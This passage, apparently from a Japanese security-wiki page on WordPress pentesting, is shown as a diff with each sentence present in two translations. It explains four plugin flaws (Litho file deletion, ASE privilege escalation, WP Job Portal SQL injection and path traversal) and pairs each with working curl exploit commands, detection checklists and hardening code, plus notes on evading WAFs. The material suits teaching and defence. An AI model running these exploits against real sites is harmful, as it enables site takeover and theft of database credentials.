1. **権限チェック**(例: `current_user_can()`、少なくとも `is_user_logged_in()`)、および
2. `check_ajax_referer()` / `wp_verify_nonce()` で検証される **CSRF nonce**、および
3. **厳格な入力サニタイズ / バリデーション**
Litho multipurpose theme (< 3.1) *Remove Font Family* 機能でこれら 3 つの制御を忘れており結果として次のコード簡略化を出荷していた
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -396,31 +445,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
このスニペットによって引き起こされる問題:
このスニペットによって導入される問題点:
* **認証されていないアクセス** `wp_ajax_nopriv_` フックが登録されています
* **ノンス / 権限チェックなし** どの訪問者でもエンドポイントにアクセスできます
* **パスのサニタイズなし** ユーザー制御の `fontfamily` 文字列がフィルタリングなしでファイルシステムパスに連結され、古典的な `../../` トラバーサルを可能にします
* **Unauthenticated access** `wp_ajax_nopriv_` フックが登録されている
* **No nonce / capability check** 訪問者は誰でもこのエンドポイントにアクセスできる
* **No path sanitisation** ユーザー制御の `fontfamily` 文字列がフィルタリングなしにファイルシステムのパスに連結され、古典的な `../../` トラバーサルを許している
#### 悪用
攻撃者は、単一のHTTP POSTリクエストを送信することで、**アップロードベースディレクトリ以下の**任意のファイルまたはディレクトリを削除できます(通常は `<wp-root>/wp-content/uploads/`)。
攻撃者は単一の HTTP POST リクエストを送ることで、通常 `<wp-root>/wp-content/uploads/` にある、**uploads base directory 以下の** 任意のファイルやディレクトリを削除できる:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
`wp-config.php`が*uploads*の外にあるため、デフォルトのインストールでは4つの`../`シーケンスで十分です。`wp-config.php`を削除すると、次回の訪問時にWordPressが*インストールウィザード*に強制的に入るため、完全なサイトの乗っ取りが可能になります攻撃者は新しいDB設定を提供し、管理ユーザーを作成するだけです)。
`wp-config.php`*uploads* の外にあるため、デフォルトのインストールでは `../` を4回繰り返すだけで十分です。`wp-config.php` を削除すると、次回の訪問時に WordPress は *インストールウィザード* に入り、サイトを完全に乗っ取ることが可能になります(攻撃者は新しい DB 設定を渡し、管理者ユーザーを作成するだけです)。
の影響力のあるターゲットには、プラグイン/テーマの`.php`ファイル(セキュリティプラグインを破るため)や`.htaccess`ルールが含まれます。
に影響の大きいターゲットとしては、プラグイン/テーマの `.php` ファイル(セキュリティプラグインを無効化するため)や `.htaccess` のルールなどがあります。
#### 検出チェックリスト
* ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()`など)を呼び出す`add_action( 'wp_ajax_nopriv_...')`コールバック。
* パスへの未サニタイズのユーザー入力の連結`$_POST`, `$_GET`, `$_REQUEST`を探す)。
* `check_ajax_referer()`および`current_user_can()`/`is_user_logged_in()`の不在。
* ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')`コールバック。
* パスに対してサニタイズされていないユーザー入力を連結している`$_POST`, `$_GET`, `$_REQUEST` を探す)。
* `check_ajax_referer()``current_user_can()`/`is_user_logged_in()` の不在。
#### ハードニング
#### 強化
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -440,16 +489,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **常に** ディスク上の書き込み/削除操作を特権として扱い、再確認してください:
> • 認証 • 認可 • ノンス • 入力のサニタイズ • パスの制限 (例: `realpath()``str_starts_with()` を使用)。
> **常に** ディスクへの書き込み/削除操作は権限が必要な操作として扱い、必ず再確認してください:
> • 認証 • 認可 • Nonce • 入力のサニタイズ • パスの包含 (例: `realpath()``str_starts_with()` を併用).
---
### 古い役割の復元と欠落した認可による特権昇格 (ASE "View Admin as Role")
### Privilege escalation — 古いロールの復元と認可不足による (ASE "View Admin as Role")
多くのプラグインは、元の役割をユーザーメタに保存することによって「役割として表示」または一時的な役割切り替え機能を実装しています。復元パスがリクエストパラメータ(例: `$_REQUEST['reset-for']`)とプラグインが管理するリストのみに依存し、能力と有効なノンスを確認しない場合、これは垂直的な特権昇格になります。
多くのプラグインは "view as role" や一時的なロール切替機能を実装し、元のロールを user meta に保存して後で復元できるようにしています。復元処理がリクエストパラメータ(例: `$_REQUEST['reset-for']`)とプラグイン内のリストのみを頼りにし、capabilities の確認や有効な nonce を検証していない場合、これは vertical privilege escalation になります。
実際の例は、Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) で見つかりました。リセットブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']`表示される場合、`reset-for=<username>` に基づいて役割を復元しましたが、現在の役割を削除し、ユーザーメタ `_asenha_view_admin_as_original_roles` から保存された役割を再追加する前に `current_user_can()` チェックやノンス検証を行いませんでした:
実際の例として、Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) で問題が見つかりました。reset ブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']`存在する場合に `reset-for=<username>` に基づいてロールを復元していましたが、`current_user_can()` チェックも nonce の検証も行わず、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されていたロールを再追加していました:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -464,17 +513,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
なぜ脆弱性があるの
なぜ悪用可能
- サーバーサイドの認証なしに `$_REQUEST['reset-for']` とプラグインオプションを信頼している。
- ユーザーが以前 `_asenha_view_admin_as_original_roles`保存された高い権限を持っていて、ダウングレードされた場合、リセットパスを叩くことでそれを復元できる。
- 一部のデプロイメントでは、認証された任意のユーザーが `viewing_admin_as_role_are` にまだ存在する別のユーザー名のリセットをトリガーできる(認可の破損)。
- サーバー側の認可なしに `$_REQUEST['reset-for']` とプラグインオプションを信頼する。
- ユーザーが以前 `_asenha_view_admin_as_original_roles`高い権限を保存されていてダウングレードされている場合、リセットパスにアクセスすることでそれらを復元できる。
- 一部の導入環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる(認可の破綻)。
攻撃の前提条件
- 機能が有効な脆弱なプラグインバージョン。
- 対象アカウントに以前の使用からユーザーメタに保存された古い高権限ロールがある
- 任意の認証されたセッション;リセットフローにおけるノンス/能力が欠如している
- 当該機能が有効化された脆弱なプラグインバージョン。
- ターゲットアカウントに、以前の利用時に user meta に古い高権限ロールが保存されていること
- 任意の認証済みセッション。リセットフローで nonce/capability が欠如していること
悪用(例)
```bash
@ -484,42 +533,57 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
脆弱なビルドでは、現在のロールを削除し、保存された元のロール(例`administrator`)を再追加することで、特権を効果的に昇格させます。
脆弱なビルドでは、これは現在のロールを削除し、保存された元のロール(例: `administrator`)を再追加することで、実質的に権限を昇格させます。
検出チェックリスト
Detection checklist
- ユーザーメタに「元のロール」を保持するロール切り替え機能を探します(例:`_asenha_view_admin_as_original_roles`
- 次の条件を満たすリセット/復元パスを特定します:
- `$_REQUEST` / `$_GET` / `$_POST` からユーザー名を読み取る。
- `current_user_can()` および `wp_verify_nonce()` / `check_admin_referer()` なしで `add_role()` / `remove_role()`介してロールを変更する。
- アクターの能力ではなく、プラグインオプション配列(例:`viewing_admin_as_role_are`)に基づいて認する。
- ユーザーメタに“元のロール”を永続化するロール切替機能(例: `_asenha_view_admin_as_original_roles`)を探す
- リセット/復元用のパスで以下を満たすものを特定する:
- ユーザー名を `$_REQUEST` / `$_GET` / `$_POST` から読み取る。
- `current_user_can()` および `wp_verify_nonce()` / `check_admin_referer()` なしで `add_role()` / `remove_role()`使ってロールを変更する。
- アクターの capabilities ではなく、プラグインのオプション配列(例: `viewing_admin_as_role_are`)に基づいて認する。
ハードニング
Hardening
- 状態変更のすべての分岐で能力チェックを強制します(例:`current_user_can('manage_options')` またはそれ以上の厳格さ)。
- すべてのロール/権限の変更に対してノンスを要求し、それを検証します:`check_admin_referer()` / `wp_verify_nonce()`
- リクエストで提供されたユーザー名を決して信頼せず、認証されたアクターと明示的なポリシーに基づいてターゲットユーザーをサーバー側で解決します
- プロファイル/ロールの更新時に「元のロール」の状態を無効にして、古い高特権の復元を避けます:
- 状態を変更するすべての分岐で capability チェックを強制する(例: `current_user_can('manage_options')` あるいはそれより厳格なチェック)。
- すべてのロール/権限変更に対して nonces を要求し、それらを検証する: `check_admin_referer()` / `wp_verify_nonce()`
- リクエスト由来のユーザー名を決して信用せず、認証済みアクターと明確なポリシーに基づいてサーバー側で対象ユーザーを解決する
- プロファイル/ロールが更新された際に“元のロール”状態を無効化して、古い高権限の復元を防ぐ:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- 最小限の状態を保存し、一時的な役割の切り替えのために時間制限付きの能力保護トークンを使用することを検討してください
- 一時的なロール切り替えには、最小限の状態を保持し、時間制限付きの権限保護トークンを使用することを検討する
---
### WordPress/プラグインのCVEに対するWAFの考慮事項
一般的なエッジ/サーバーWAFは、広範なパターンSQLi、XSS、LFIに対して調整されています。多くの高影響なWordPress/プラグインの脆弱性は、アプリケーション固有のロジックや認可のバグであり、エンジンがWordPressのルートやプラグインのセマンティクスを理解していない限り、正当なトラフィックのように見えます。
攻撃者向けメモ
- プラグイン固有のエンドポイントをクリーンなペイロードで狙う: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- まず未認証パスを試すAJAX `nopriv`, RESTで権限が緩い `permission_callback`, 公開shortcodes。デフォルトのペイロードは難読化なしで成功することが多い。
- 典型的な高影響ケース: 権限昇格(アクセス制御の破綻)、任意ファイルのアップロード/ダウンロード、LFI、オープンリダイレクト。
防御ノート
- プラグインのCVE保護に汎用WAFシグネチャを頼ってはいけない。アプリケーション層で脆弱性固有の仮想パッチを実装するか、素早くアップデートすること。
- コード内ではネガティブな正規表現フィルタよりも、ポジティブセキュリティチェックcapabilities、nonces、厳格な入力検証を優先する。
## WordPressの保護
### 定期的な更新
WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることも確認してください。
WordPress、プラグイン、テーマが最新であることを確認する。また、wp-config.phpで自動更新が有効になっていることを確認する:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
また、**信頼できるWordPressプラグインとテーマのみをインストールしてください**。
また、**信頼できる WordPressプラグインとテーマのみをインストールしてください**。
### セキュリティプラグイン
@ -529,15 +593,16 @@ add_filter( 'auto_update_theme', '__return_true' );
### **その他の推奨事項**
- デフォルトの**admin**ユーザーを削除する
- **強力なパスワード**と**2FA**を使用する
- 定期的にユーザーの**権限**を**レビュー**する
- ブルートフォース攻撃を防ぐために**ログイン試行回数**を制限する
- **`wp-admin.php`**ファイルの名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
- デフォルトの **admin** ユーザーを削除する
- 強力な **パスワード** **2FA** を使用する
- 定期的にユーザーの **権限** を見直す
- Brute Force attacks を防ぐために **ログイン試行回数を制限する**
- ファイル **`wp-admin.php`** の名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
### 不十分な検証による認証されていないSQLインジェクション (WP Job Portal <= 2.3.2)
WP Job Portalリクルートプラグインは、最終的に`modules/category/model.php::validateFormData()`内で次の脆弱なコードを実行する**savecategory**タスクを公開しました:
### 検証不足による未認証 SQL Injection (WP Job Portal <= 2.3.2)
WP Job Portal の recruitment プラグインは **savecategory** タスクを公開しており、最終的に以下の脆弱なコードを `modules/category/model.php::validateFormData()` 内で実行します:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -547,19 +612,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
このスニペットによって引き起こされる問題:
このスニペットによって導入された問題:
1. **サニタイズされていないユーザー入力** `parentid` はHTTPリクエストから直接取得されます
2. **WHERE句内の文字列連結** `is_numeric()` / `esc_sql()` / 準備されたステートメントがありません
3. **認証されていない到達可能性** アクションは `admin-post.php` を通じて実行されますが、唯一のチェックは **CSRFンス** (`wp_verify_nonce()`) であり、これは任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます
1. **Unsanitised user input** `parentid` は HTTP リクエストからそのまま来ている
2. **String concatenation inside the WHERE clause** `is_numeric()` / `esc_sql()` / プリペアドステートメントが使われていない
3. **Unauthenticated reachability** このアクションは `admin-post.php` を通して実行されるが、唯一のチェックは **CSRF nonce** (`wp_verify_nonce()` ) であり、これはショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから任意の訪問者が取得できる
#### 悪用
#### Exploitation
1. 新しいノンスを取得します:
1. 新しい nonce を取得:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. `parentid` を悪用して任意のSQLを注入します
2. `parentid` を悪用して任意の SQL を注入:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -567,19 +632,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
レスポンスは注入されたクエリの結果を開示するか、データベースを変更し、SQLiを証明します
レスポンスは注入されたクエリの結果を露出するか、あるいはデータベースを変更し、SQLi を立証する
### 認証されていない任意のファイルダウンロード / パストラバーサル (WP Job Portal <= 2.3.2)
別のタスク、**downloadcustomfile** は、訪問者がパストラバーサルを介して **ディスク上の任意のファイル** をダウンロードできることを許可しました。 脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります:
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
別のタスク、**downloadcustomfile** はパストラバーサルを介して訪問者に **ディスク上の任意のファイル** をダウンロードさせることを許していた。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にある:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` は攻撃者が制御可能で、**サニタイズなし**で連結されます。再度、唯一のゲートは、履歴ページから取得できる**CSRFンス**です。
`$file_name` は攻撃者が制御しており、**without sanitisation** のまま連結されています。繰り返しますが、唯一の防御は履歴書ページから取得できる**CSRF nonce**です。
#### 攻撃
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -588,13 +654,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
サーバーは `wp-config.php` の内容を返し、DBの資格情報と認証キーを漏洩させます
サーバーは `wp-config.php` の内容を返し、leaking DB credentials and auth keys
## 参考文献
## 参考
- [Lithoテーマにおける認証されていない任意ファイル削除の脆弱性](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [WP Job Portalプラグインの複数の重大な脆弱性が修正されました](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [100k以上のサイトに影響を与えるASEプラグインの特異な特権昇格のケース](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3の変更セット プロフィール更新時に元の役割を削除](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privileged-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
{{#include ../../banners/hacktricks-training.md}}